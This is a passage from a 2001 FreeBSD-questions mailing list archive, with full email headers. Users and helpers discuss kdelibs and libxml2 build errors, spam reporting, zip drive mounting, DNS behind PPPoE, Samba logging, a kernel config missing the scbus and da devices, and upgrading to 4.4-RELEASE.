`/usr/ports/x11/kdelibs2/work/kdelibs-2.2.1/kio/file > In file included from /usr/local/include/libxml2/libxml/parser.h:576, > from /usr/local/include/libxml2/libxml/xmlerror.h:4, > from templates.c:18: > /usr/local/include/libxml2/libxml/globals.h:70: syntax error before > `xmlGenericErrorFunc' > /usr/local/include/libxml2/libxml/globals.h:217: syntax error before > `xmlGenericError' > /usr/local/include/libxml2/libxml/globals.h:217: warning: data definition > has no type or storage class > gmake[3]: *** [templates.lo] Error 1 > gmake[2]: *** [all-recursive] Error 1 > gmake[1]: *** [all-recursive] Error 1 > gmake: *** [all-recursive-am] Error 2 > -=- > > (I do have the libxml2 port installed) > > I tried rebuilding the box from scratch this morning (it was overdue for > its annual rebuild anyway), and yet I get this same error. > > I looked at the mail archives, and then GNATS, but to no avail. Is anyone > else seeing this? Many people. You can fix the compile error by moving the first include in xlmerror.h to above the ifndef. There was a message by Will that 2.2.2 might be out this weekend. You might as well wait at this point. Kent > > Best Wishes - Peter > -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 17:41:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail30.sdc1.sfba.home.com (femail30.sdc1.sfba.home.com [24.254.60.20]) by hub.freebsd.org (Postfix) with ESMTP id 68DDE37B405 for ; Sat, 24 Nov 2001 17:41:25 -0800 (PST) Received: from tspivey8 ([24.76.54.195]) by femail30.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011125014125.EIXO3590.femail30.sdc1.sfba.home.com@tspivey8> for ; Sat, 24 Nov 2001 17:41:25 -0800 To: freebsd-questions@freebsd.org From: tyler spivey Reply-To: tyler spivey Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Subject: the spam messages tha thave been coming up Message-Id: <20011125014125.EIXO3590.femail30.sdc1.sfba.home.com@tspivey8> Date: Sat, 24 Nov 2001 17:41:25 -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG is someone doing anything about them? the your home loan stuff? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 17:46: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 74BC437B405 for ; Sat, 24 Nov 2001 17:46:04 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id RAA03211; Sat, 24 Nov 2001 17:46:02 -0800 Message-ID: <3C004D5C.3050608@owt.com> Date: Sat, 24 Nov 2001 17:46:04 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: tyler spivey Cc: freebsd-questions@FreeBSD.ORG Subject: Re: the spam messages tha thave been coming up References: <20011125014125.EIXO3590.femail30.sdc1.sfba.home.com@tspivey8> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG tyler spivey wrote: > is someone doing anything about them? > the your home loan stuff? Well, for starters if you can do it, I forward each of the emails along with a copy of the full headers to abuse@stargate.net. If they had 200,000 emails hit them. One for each one we all receive. Something would be done on that end :). -- Kent Stewart Richland, WA To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 17:47:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from midway.uchicago.edu (midway.uchicago.edu [128.135.12.12]) by hub.freebsd.org (Postfix) with ESMTP id 3CAD437B405 for ; Sat, 24 Nov 2001 17:47:38 -0800 (PST) Received: from harper.uchicago.edu (daemon@harper.uchicago.edu [128.135.12.7]) by midway.uchicago.edu (8.11.6/8.11.6) with ESMTP id fAP1kUJ25047 for ; Sat, 24 Nov 2001 19:46:31 -0600 (CST) Received: from localhost (dsyphers@localhost) by harper.uchicago.edu (8.11.6/8.11.6) with ESMTP id fAP1kUV15132 for ; Sat, 24 Nov 2001 19:46:30 -0600 (CST) X-Authentication-Warning: harper.uchicago.edu: dsyphers owned process doing -bs Date: Sat, 24 Nov 2001 19:46:30 -0600 (CST) From: David Syphers To: freebsd-questions@freebsd.org Subject: problems mounting external zip drive Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I installed FreeBSD 4.4-R on my new computer recently, and I can't mount the zip drive (external 100MB). I tried configuring my old computer (laptop from 1998) _exactly_ the same as my new computer (identical kernel's, etc.) and the zip drive works fine there. The new computer complains the device da0s4 is not configured, but all the necessary elements are in the kernel. I suppose it's something to do with the hardware, but I have no idea where to look. Any suggestions? Please cc:, I'm not on -questions. -David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 17:51:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ralf.artlogix.com (sense-mcglk-240.oz.net [216.39.168.240]) by hub.freebsd.org (Postfix) with ESMTP id 3013237B419 for ; Sat, 24 Nov 2001 17:51:27 -0800 (PST) Received: by ralf.artlogix.com (Postfix, from userid 1000) id 9FBEE1B9C5A; Sat, 24 Nov 2001 17:51:26 -0800 (PST) To: freebsd-questions@freebsd.org Subject: Re: the spam messages tha thave been coming up References: <20011125014125.EIXO3590.femail30.sdc1.sfba.home.com@tspivey8> <3C004D5C.3050608@owt.com> From: Ken McGlothlen Date: 24 Nov 2001 17:51:26 -0800 In-Reply-To: <3C004D5C.3050608@owt.com> Message-ID: <87d727wrc1.fsf@ralf.artlogix.com> Lines: 9 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Kent Stewart writes: | Well, for starters if you can do it, I forward each of the emails along with | a copy of the full headers to abuse@stargate.net. If they had 200,000 emails | hit them. One for each one we all receive. Something would be done on that | end :). The user is actually using a uu.net account; stargate.net is just the relay. The website is hosted at valueweb.com. Complain to all three. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 17:52:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from corten2.billschoolcraft.com (adsl-63-193-247-201.dsl.snfc21.pacbell.net [63.193.247.201]) by hub.freebsd.org (Postfix) with ESMTP id 8B7C737B417 for ; Sat, 24 Nov 2001 17:52:45 -0800 (PST) Received: from corten8.billschoolcraft.com ([192.168.7.8]) by corten2.billschoolcraft.com with esmtp (Exim 3.22 #1 (Debian)) id 13zMsN-0001re-00 for ; Fri, 24 Nov 2000 09:43:07 -0800 Date: Sat, 24 Nov 2001 09:48:44 -0800 (PST) From: Bill Schoolcraft X-X-Sender: To: Subject: Re: PPPoE on DSL Clients In-Reply-To: <200111241141.fAOBfoq08976@peedub.muc.de> Message-ID: System-ID: [en] (I; Linux-2.4.7-10 i86pc) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At Sat, 24 Nov 2001 it looks like Gary Jennejohn composed: > I recently set up something similar for a friend. He also has > some windoze boxes on his network. > > It was not necessary to do anything special on the windoze > machines. I did however put ``enable dns'' in ppp.conf so that > ppp automatically puts the nameservers into /etc/resolv.conf on > the FBSD router. > > Maybe this line is missing. > I would lean towards giving the internal machines (as I do) their own pointers for DNS etc, unless your BSD box is offering it's own DNS to the internal LAN you will need to tell the internal boxes where to go for name resolution. I have my internal machines look first to my iternal DNS machine, then the next two lines in my /etc/resolv.conf point to two different outside (physical locations) DNS servers. Despite being computers, they still need to told where to go for ALL their information no matter where they are located in reference to your gateway machine. -- Bill Schoolcraft PO Box 210076 -o) San Francisco CA 94121 /\ "UNIX, A Way Of Life." _\_v http://forwardslashunix.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 18:12: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gramsc1.dyndns.org (h00609774e769.ne.mediaone.net [24.91.224.187]) by hub.freebsd.org (Postfix) with ESMTP id 8685237B41A for ; Sat, 24 Nov 2001 18:11:42 -0800 (PST) Received: from gramsc1.dyndns.org (clwndnc@localhost.net [127.0.0.1]) by gramsc1.dyndns.org (8.12.1/8.12.1) with ESMTP id fAP2BdLC016985 for ; Sat, 24 Nov 2001 21:11:39 -0500 (EST)?g (envelope-from resopmok@gramsc1.dyndns.org)œ Received: from localhost (resopmok@localhost) by gramsc1.dyndns.org (8.12.1/8.12.1/Submit) with ESMTP id fAP2BcwT016982 for ; Sat, 24 Nov 2001 21:11:39 -0500 (EST)?g (envelope-from resopmok@gramsc1.dyndns.org) Date: Sat, 24 Nov 2001 21:11:38 -0500 (EST) From: Chris Thomas To: freebsd-questions@freebsd.org Subject: problem compiling kdebase2 from ports Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-1206913602-1006654298=:16969" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This message is in MIME format. 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Send mail to mime@docserver.cac.washington.edu for more info. --0-1206913602-1006654298=:16969 Content-Type: TEXT/PLAIN; charset=US-ASCII i just finished upgrading to 4.4-STABLE and cvsupped the latest ports, and was on my way to good times when i ran into some problems compiling /usr/ports/x11/kdebase2 i'm attaching a script output file because it's a little too long to paste into the body of the message, though the main errors are as follows: cc -DHAVE_CONFIG_H -I. -I. -I../.. -I./.. -I/usr/local/include/libxml2/libxml -I/us r/local/include/libxml2 -I/usr/include -D_GETOPT_H -D_PTH_H_ -D_PTH_PTHREAD_H_ -I/u sr/local/include -I/usr/local/include -I/usr/X11R6/include/qt2 -D_THREAD_SAFE -I/us r/local/include -O0 -O -pipe -c templates.c -fPIC -DPIC -o .libs/templates.o In file included from /usr/local/include/libxml2/libxml/parser.h:576, from /usr/local/include/libxml2/libxml/xmlerror.h:4, from templates.c:18: /usr/local/include/libxml2/libxml/globals.h:70: syntax error before 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freebsd-questions@freebsd.org Received: from hotmail.com (f7.law11.hotmail.com [64.4.17.7]) by hub.freebsd.org (Postfix) with ESMTP id 0417637B405 for ; Sat, 24 Nov 2001 19:02:52 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 24 Nov 2001 19:02:51 -0800 Received: from 200.56.130.98 by lw11fd.law11.hotmail.msn.com with HTTP; Sun, 25 Nov 2001 03:02:51 GMT X-Originating-IP: [200.56.130.98] From: "beanie unixo" To: questions@FreeBSD.org Subject: optical USB mouse Date: Sat, 24 Nov 2001 19:02:51 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Message-ID: X-OriginalArrivalTime: 25 Nov 2001 03:02:51.0914 (UTC) FILETIME=[ABE0F6A0:01C1755D] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi there, i just want know how can i configure my optical USB Mouse, thanks for ure time. Crash & Burn. daemon. _________________________________________________________________ Descargue GRATUITAMENTE MSN Explorer en http://explorer.msn.es/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 19: 6:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from po4.glue.umd.edu (po4.glue.umd.edu [128.8.10.124]) by hub.freebsd.org (Postfix) with ESMTP id 7CA0F37B405; Sat, 24 Nov 2001 19:06:52 -0800 (PST) Received: from glue.umd.edu (darkstar.umd.edu [128.8.215.163]) by po4.glue.umd.edu (8.10.1/8.10.1) with ESMTP id fAP36X406333; Sat, 24 Nov 2001 22:06:48 -0500 (EST) Message-ID: <3C006044.E255201@glue.umd.edu> Date: Sat, 24 Nov 2001 22:06:44 -0500 From: Brandon Fosdick X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Wayne Pascoe Cc: "Leonard C." , questions@FreeBSD.ORG, hardware@FreeBSD.ORG Subject: Re: FreeBSD and Wireless LAN cards? References: <86pu69iy4m.fsf@pan.ehsrealtime.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Wayne Pascoe wrote: > I've not seen any desktop wireless ethernet cards. What you generally > have to do is buy a pcmcia card and an ISA - PCMCIA converter for the > PC. I have been warned in the past to use ISA and not PCI. I'm not > sure if PCI is supported yet. I think most, if not all, PCI adapter cards are working as of 4.4-R. Well, at least my miniPCI card works now. IIRC, the wireless cards are around US$60-$70 and the adapter cards are somewhere around $50. So its almost just as cheap to go with a dedicated basestation. Of course, I haven't looked at prices in a while, so they could have gone down. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 19:38:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id D9D6E37B416 for ; Sat, 24 Nov 2001 19:38:28 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id TAA07506; Sat, 24 Nov 2001 19:38:26 -0800 Message-ID: <3C0067B3.5090208@owt.com> Date: Sat, 24 Nov 2001 19:38:27 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Chris Thomas Cc: freebsd-questions@FreeBSD.ORG Subject: Re: problem compiling kdebase2 from ports References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Chris Thomas wrote: > i just finished upgrading to 4.4-STABLE and cvsupped the latest ports, and > was on my way to good times when i ran into some problems compiling > /usr/ports/x11/kdebase2 > > i'm attaching a script output file because it's a little too long to paste > into the body of the message, though the main errors are as follows: > > cc -DHAVE_CONFIG_H -I. -I. -I../.. -I./.. > -I/usr/local/include/libxml2/libxml -I/us > r/local/include/libxml2 -I/usr/include -D_GETOPT_H -D_PTH_H_ > -D_PTH_PTHREAD_H_ -I/u > sr/local/include -I/usr/local/include -I/usr/X11R6/include/qt2 > -D_THREAD_SAFE -I/us > r/local/include -O0 -O -pipe -c templates.c -fPIC -DPIC -o > .libs/templates.o > In file included from /usr/local/include/libxml2/libxml/parser.h:576, > from /usr/local/include/libxml2/libxml/xmlerror.h:4, > from templates.c:18: > /usr/local/include/libxml2/libxml/globals.h:70: syntax error before > `xmlGenericErro > rFunc' > /usr/local/include/libxml2/libxml/globals.h:217: syntax error before > `xmlGenericErr > or' > /usr/local/include/libxml2/libxml/globals.h:217: warning: data definition > has no ty > pe or storage class > gmake[3]: *** [templates.lo] Error 1 > > from this point it totally flunks out.. > > i'm not a coder, so i probably can't fix this, but kde was also being > installed totally from virgin ports, so i'm not sure how i could've messed > things up... you guys will probably need more info, and your wish is my > command. If you had searched the archives like you were supposed to, this would have popped up numerous times. The kde@freebsd.org people were talking about releasing 2.2.2 this weekend. If you want to fix the kdelibs error, you have to move the parser.h include in /usr/local/include/libxml2/libxml/xmlerror.h to just above the ifndef. You can then build kdelibs-2.2.1. You might think about waiting for 2.2.2 to be released. I don't know who long a kde build takes on your system, but the 3 hours it takes on my systems is long enough to make me wait for the next version. Kent > -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 19:58:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id 38E1D37B436 for ; Sat, 24 Nov 2001 19:58:28 -0800 (PST) Received: from pool0778.cvx14-bradley.dialup.earthlink.net ([209.179.41.13] helo=enterprise) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 167qR1-0007ls-00 for freebsd-questions@freebsd.org; Sat, 24 Nov 2001 19:58:27 -0800 From: "Eric Lam" To: Subject: X Windows, Blackbox, and VNC Date: Sat, 24 Nov 2001 20:03:07 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is the first time I manually built X Windows, and I was wondering if I did it correctly. I made install all three programs. I fixed up /etc/X11/XF86Config for the resolution and refresh rate, and /etc/X11/xinit (something along that path), so that instead of firing up the default windows manager, it fires up blackbox. Did I do that correctly? You know how VNC creates a default ~/.vnc/xstartup? Is there a way to automically specify xstartup to use blackbox, instead of the default windows manager? Its rather annoying to configure ~/.vnc/xstartup so that it starts up blackbox instead of that twm. Eric To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 20:13:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from nivek.org (CPE0080C6F9B86B.cpe.net.cable.rogers.com [24.102.94.119]) by hub.freebsd.org (Postfix) with ESMTP id 4A10E37B417 for ; Sat, 24 Nov 2001 20:13:07 -0800 (PST) Received: by wookie.nivek.pvt (Postfix, from userid 10001) id 9D9EE19DE; Wed, 31 Oct 2001 12:11:42 -0500 (EST) Date: Wed, 31 Oct 2001 12:11:42 -0500 From: Dave Dunaway To: Bsd Neophyte Cc: Brian Sobolak , freebsd-questions@freebsd.org Subject: Re: samba problem... Message-ID: <20011031121141.A55179@nivek.org> References: <136102624596.20011031002425@mindspring.com> <20011031114645.14232.qmail@web20107.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011031114645.14232.qmail@web20107.mail.yahoo.com>; from bsdneophyte@yahoo.com on Wed, Oct 31, 2001 at 03:46:45AM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Take advantage of Samba's logging...in the smb.conf set log level = 3 Or when you start it up add a -d 3 argument. This will show you some funky stuff in the logs. You can go up to 10 but that is usually not needed. Level 3 should tell you quite plainly what the boo-boo is. HTH. On Wed, Oct 31, 2001 at 03:46:45AM -0800, Bsd Neophyte wrote: > > > 1. Any info in the logs, e.g. /var/log/smb.log or nmd.log? > > What would i look for in the log file? > > > 2. Have you tried connecting by IP, e.g. map a drive to > > \? Helps to test connectivity > > Tried this... and it doesn't work... :/ > > > 3. What version of windows are you running? > > This is a problem on both my Win98se and Win2kPro machines. > > -Sameer > > __________________________________________________ > Do You Yahoo!? > Make a great connection at Yahoo! Personals. > http://personals.yahoo.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Dave. bela@nivek.org Head Trauma Victim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 21: 6: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web10004.mail.yahoo.com (web10004.mail.yahoo.com [216.136.130.40]) by hub.freebsd.org (Postfix) with SMTP id A107337B416 for ; Sat, 24 Nov 2001 21:06:01 -0800 (PST) Message-ID: <20011125050557.52660.qmail@web10004.mail.yahoo.com> Received: from [209.219.51.7] by web10004.mail.yahoo.com via HTTP; Sat, 24 Nov 2001 21:05:57 PST Date: Sat, 24 Nov 2001 21:05:57 -0800 (PST) From: Tom Kersten Subject: Problem building custom KERNEL..... To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0-1752327438-1006664757=:51678" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --0-1752327438-1006664757=:51678 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hello, I am trying to build a custom kernel and have run into an error when I try to run 'make'. The problem seems to occur when it is trying to work with "umass.o". This is the first error that the debug kicks out: "umass.o: In function 'umass_cam_attach_sim': This is then followed by what appears to be numerous attempts to to something with umass.c(*)...all attempts are return with the error "undefined error to' + some file name. I have attached my new kernel config file. If you need more information please let me know. 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D377F7A79; Sun, 25 Nov 2001 00:10:04 -0500 (EST) From: Dan Langille To: freebsd-newbies@freebsd.org, freebsd-questions@freebsd.org Subject: The FreeBSD Diary: 2001-11-04 - 2001-11-24 Message-Id: <20011125051004.D377F7A79@m20.unixathome.org> Date: Sun, 25 Nov 2001 00:10:04 -0500 (EST) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The FreeBSD Diary contains a large number of practical examples and how-to guides. This message is posted weekly to freebsd-questions@freebsd.org with the aim of letting people know what's available on the website. Before you post a question here it might be a good idea to first search the mailing list archives and/or The FreeBSD Diary . These are the articles posted during this period: 16-Nov : stunnel - another way to avoid plain text passwords don\'t let people sniff your passwords! http://freebsddiary.org/stunnel.php?2 14-Nov : ssh exploit - how to avoid it Using ssh2 and a recent version of FreeBSD can save you http://freebsddiary.org/ssh-exploit.php?2 -- Dan Langille - DVL Software Limited The FreeBSD Diary - http://freebsddiary.org/ - practical examples FreshPorts - http://freshports.org/ - the place for ports To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 21:27:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 5FBF637B417 for ; Sat, 24 Nov 2001 21:27:10 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id VAA11300; Sat, 24 Nov 2001 21:27:08 -0800 Message-ID: <3C00812C.8020401@owt.com> Date: Sat, 24 Nov 2001 21:27:08 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Tom Kersten Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Problem building custom KERNEL..... References: <20011125050557.52660.qmail@web10004.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Tom Kersten wrote: > Hello, > > > > I am trying to build a custom kernel and have run into > an error when I try to run 'make'. The problem seems > to occur when it is trying to work with "umass.o". > This is the first error that the debug kicks out: > > "umass.o: In function 'umass_cam_attach_sim': > > This is then followed by what appears to be numerous > attempts to to something with umass.c(*)...all > attempts are return with the error "undefined error > to' + some file name. I have attached my new kernel > config file. If you need more information please let > me know. It is kind of a reading test. You deleted things without out reading. You have # SCSI peripherals #device scbus # SCSI bus (required) #device da # Direct Access (disks) And in the entry for umass, you have the following device umass # Disks/Mass storage - Requires scbus and da Notice the requires on umass. Well, you have to make a choice. You either have to uncomment the scbus and da lines or you have to comment umass. Based on what I am seeing, you just missed commenting the umass line. You should have searched the kernel config file for umass and then you could have diagnosed the problem by yourself. It doesn't always work this way but this is one of the straight forward user errors. Have a good day, Kent -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 21:38:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp2.mbox.com.au (203-134-146-019.cust.pth.iprimus.net.au [203.134.146.19]) by hub.freebsd.org (Postfix) with ESMTP id 7F13337B405 for ; Sat, 24 Nov 2001 21:38:37 -0800 (PST) Received: from nms2.mbox.com.au (webmail.i7mail.com.au [192.168.20.4]) by smtp2.mbox.com.au (Sun Internet Mail Server sims.4.0.2000.05.17.04.13.p6) with ESMTP id <0GNC00GBUCVDCZ@smtp2.mbox.com.au> for freebsd-questions@FreeBSD.ORG; Sun, 25 Nov 2001 13:35:37 +0800 (WST) Received: from mbox.com.au ([127.0.0.1]) by nms2.mbox.com.au (Netscape Messaging Server 4.15) with ESMTP id GNCCVR00.58P for ; Sun, 25 Nov 2001 13:35:51 +0800 Date: Sun, 25 Nov 2001 16:35:51 +1100 From: BSD Freak Subject: Syncing my souce with 4.4-RELEASE not 4-STABLE To: FreeBSD Questions Message-id: <78e5c79772.7977278e5c@mbox.com.au> MIME-version: 1.0 X-Mailer: Netscape Webmail Content-type: text/plain; charset=us-ascii Content-language: en Content-disposition: inline Content-transfer-encoding: 7BIT X-Accept-Language: en Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Guys, I manage several FreeBSD boxes remotely. They are in a difficult to get to location. The currently run 4.3-RELEASE and I would like to upgrade them to 4.4-RELEASE (not 4.4-STABLE). I beleive this can be sone by syncing my source tree and doing a 'build world' . Thus far I have only seen instructions on syncing a source tree with either -CURRENT or -STABLE not -RELEASE. Anyone got an url or manpage that will give me instructions on updating my source to 4.4-RELEASE and then 'build world' ..... Thanks heaps..... --------------------------------------------------------------------- Listen to your emails from any telephone http://www.mbox.com.au To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 21:54: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 222E737B405 for ; Sat, 24 Nov 2001 21:54:06 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id VAA12269; Sat, 24 Nov 2001 21:53:59 -0800 Message-ID: <3C008777.2040107@owt.com> Date: Sat, 24 Nov 2001 21:53:59 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: BSD Freak Cc: FreeBSD Questions Subject: Re: Syncing my souce with 4.4-RELEASE not 4-STABLE References: <78e5c79772.7977278e5c@mbox.com.au> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG BSD Freak wrote: > Hi Guys, > > I manage several FreeBSD boxes remotely. They are in a difficult to > get to location. The currently run 4.3-RELEASE and I would like to > upgrade them to 4.4-RELEASE (not 4.4-STABLE). I beleive this can be > sone by syncing my source tree and doing a 'build world' . > > Thus far I have only seen instructions on syncing a source tree with > either -CURRENT or -STABLE not -RELEASE. Anyone got an url or manpage > that will give me instructions on updating my source to 4.4-RELEASE > and then 'build world' ..... It doesn't work this way. You have to also build your kernel and install it. The usual 